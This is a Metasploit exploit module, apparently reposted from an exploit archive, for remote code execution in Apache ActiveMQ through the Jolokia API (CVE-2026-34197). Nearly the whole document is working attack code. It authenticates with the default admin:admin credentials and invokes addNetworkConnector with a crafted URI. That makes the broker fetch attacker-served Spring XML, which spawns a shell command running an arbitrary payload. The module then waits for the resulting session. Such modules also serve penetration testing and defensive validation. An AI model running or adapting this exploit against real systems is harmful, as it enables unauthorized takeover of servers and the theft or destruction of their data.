Share
## https://sploitus.com/exploit?id=PACKETSTORM:222271
# frozen_string_literal: true
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HttpServer
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Apache ActiveMQ RCE via Jolokia addNetworkConnector',
            'Description' => %q{
              Apache ActiveMQ exposes a Jolokia JMX-over-HTTP API at /api/jolokia/.
              An authenticated attacker can invoke the addNetworkConnector() MBean
              operation with a crafted URI that causes the broker to fetch a remote
              Spring XML configuration over HTTP. The Spring XML instantiates a
              ProcessBuilder bean that executes attacker-supplied OS commands.
    
              Default credentials (admin:admin) are accepted by many installations.
    
              Verified on docker image
            },
            'Author' => [
              'dinosn', # Discovery and PoC
              'h00die'  # Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2026-34197'],
              ['URL', 'https://github.com/dinosn/CVE-2026-34197'],
              ['URL', 'https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/']
            ],
            'DisclosureDate' => '2026-04-29',
            'Platform' => %w[linux unix win],
            'Arch' => [ARCH_CMD],
            'Privileged' => false,
            'Stance' => Stance::Aggressive,
            'Targets' => [
              ['Windows', { 'Platform' => 'win' }],
              ['Linux', { 'Platform' => %w[linux unix] }],
              ['Unix', { 'Platform' => 'unix' }]
            ],
            'DefaultTarget' => 1,
            'DefaultOptions' => {
              'WfsDelay' => 30
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          Opt::RPORT(8161),
          OptString.new('TARGETURI', [true, 'Base path to ActiveMQ web console', '/']),
          OptString.new('USERNAME', [true, 'Jolokia username', 'admin']),
          OptString.new('PASSWORD', [true, 'Jolokia password', 'admin']),
          OptString.new('BROKER_NAME', [false, 'Broker name (auto-detected if blank)', ''])
        ])
      end
    
      def check
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, '/api/jolokia/'),
          'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
        })
    
        return CheckCode::Unknown('No response from target') unless res
        return CheckCode::Unknown('Authentication failed (401) โ€” check USERNAME/PASSWORD') if res.code == 401
        return CheckCode::Unknown('Jolokia access forbidden (403)') if res.code == 403
        return CheckCode::Unknown("Unexpected HTTP status: #{res.code}") unless res.code == 200
    
        data = res.get_json_document
        return CheckCode::Unknown('Could not parse Jolokia response') if data.empty?
    
        agent = data.dig('value', 'agent') || 'unknown'
        CheckCode::Appears("Jolokia accessible โ€” agent version: #{agent}")
      end
    
      def on_request_uri(cli, request)
        vprint_status("#{request.method} #{request.uri}")
    
        case target['Platform']
        when 'win'
          shell = 'cmd.exe'
          flag = '/c'
        else
          shell = '/bin/sh'
          flag = '-c'
        end
    
        xml = %(<?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xsi:schemaLocation="http://www.springframework.org/schema/beans
           http://www.springframework.org/schema/beans/spring-beans.xsd">
      <bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>#{shell}</value>
            <value>#{flag}</value>
            <value><![CDATA[#{payload.encoded}]]></value>
          </list>
        </constructor-arg>
      </bean>
    </beans>)
    
        send_response(cli, xml, {
          'Content-Type' => 'application/xml',
          'Connection' => 'close',
          'Pragma' => 'no-cache'
        })
        print_good('Malicious Spring XML served โ€” target will execute payload via ProcessBuilder')
      end
    
      def exploit
        start_service
    
        bname = detect_broker_name
        print_status("Using broker name: #{bname}")
    
        remove_network_connector(bname, 'NC')
    
        # static:(...) is the network connector discovery URI.
        # vm://#{Rex::Text.rand_text_alpha(8)} references a non-existent broker, forcing dynamic creation.
        # brokerConfig=xbean:http://... loads remote Spring XML config.
        malicious_uri = "static:(vm://#{Rex::Text.rand_text_alpha(8)}?brokerConfig=xbean:#{get_uri})"
    
        jolokia_body = {
          'type' => 'exec',
          'mbean' => "org.apache.activemq:type=Broker,brokerName=#{bname}",
          'operation' => 'addNetworkConnector(java.lang.String)',
          'arguments' => [malicious_uri]
        }.to_json
    
        print_status("Sending Jolokia exploit request to #{rhost}:#{rport}")
        vprint_status("Malicious URI: #{malicious_uri}")
    
        # Use a short timeout: ActiveMQ fetches our Spring XML and runs the payload
        # asynchronously, so the Jolokia POST often never returns a response.
        # We handle the session in the handler regardless.
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, '/api/jolokia/'),
          'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
          'ctype' => 'application/json',
          'data' => jolokia_body,
          'headers' => { 'Origin' => "#{ssl ? 'https' : 'http'}://#{rhost}:#{rport}" },
          'timeout' => 10
        })
    
        if res.nil?
          print_status('Jolokia POST timed out โ€” broker is likely fetching Spring XML and executing payload')
        elsif res.code == 401
          fail_with(Failure::NoAccess, 'Authentication failed โ€” check USERNAME/PASSWORD')
        elsif res.code != 200
          print_warning("Unexpected HTTP status: #{res.code} โ€” continuing anyway")
        else
          result = res.get_json_document
          if result.empty?
            print_warning('Could not parse Jolokia response โ€” continuing anyway')
          elsif result['status'] == 200
            print_good('Jolokia accepted the payload โ€” waiting for target to fetch Spring XML...')
          else
            print_warning("Jolokia returned status #{result['status']}: #{result['error']}")
          end
        end
    
        handler
      end
    
      private
    
      def remove_network_connector(broker_name, connector_name)
        body = {
          'type' => 'exec',
          'mbean' => "org.apache.activemq:type=Broker,brokerName=#{broker_name}",
          'operation' => 'removeNetworkConnector(java.lang.String)',
          'arguments' => [connector_name]
        }.to_json
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, '/api/jolokia/'),
          'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
          'ctype' => 'application/json',
          'data' => body,
          'headers' => { 'Origin' => "#{ssl ? 'https' : 'http'}://#{rhost}:#{rport}" }
        })
    
        if res&.code == 200
          vprint_status("Removed existing '#{connector_name}' network connector")
        else
          vprint_status("No existing '#{connector_name}' connector to remove (or removal failed) โ€” continuing")
        end
      end
    
      def detect_broker_name
        return datastore['BROKER_NAME'] unless datastore['BROKER_NAME'].blank?
    
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, '/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=*'),
          'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
        })
    
        if res&.code == 200
          data = res.get_json_document
          if !data.empty? && data['status'] == 200 && data['value']
            data['value'].each_key do |mbean|
              mbean.split(',').each do |part|
                next unless part.start_with?('brokerName=')
    
                name = part.split('=', 2).last
                vprint_status("Discovered broker name: #{name}")
                return name
              end
            end
          end
        end
    
        vprint_status("Could not discover broker name, using default 'localhost'")
        'localhost'
      end
    end